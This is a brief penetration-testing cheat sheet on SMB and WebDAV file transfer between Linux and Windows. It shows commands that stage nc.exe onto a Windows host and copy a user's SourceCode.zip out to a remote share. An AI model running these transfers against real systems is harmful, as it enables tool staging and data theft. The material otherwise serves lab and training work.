SMB Download/Upload
Download
Running SMB server on Linux
sudo impacket-smbserver share -smb2support /tmp/smbshareWith username and password if unauthenticated guest access is blocked:
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password testOn Windows use copy without authentication:
copy \\192.168.220.133\share\nc.exeMount the SMB server with authentication:
net use n: \\192.168.220.133\share /user:test test
copy n:\nc.exeUpload
SMB over HTTP with wsgidav and cheroot on Linux:
sudo pip3 install wsgidav cherootsudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymousOn Windows:
dir \\192.168.49.128\DavWWWRootcopy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\Last updated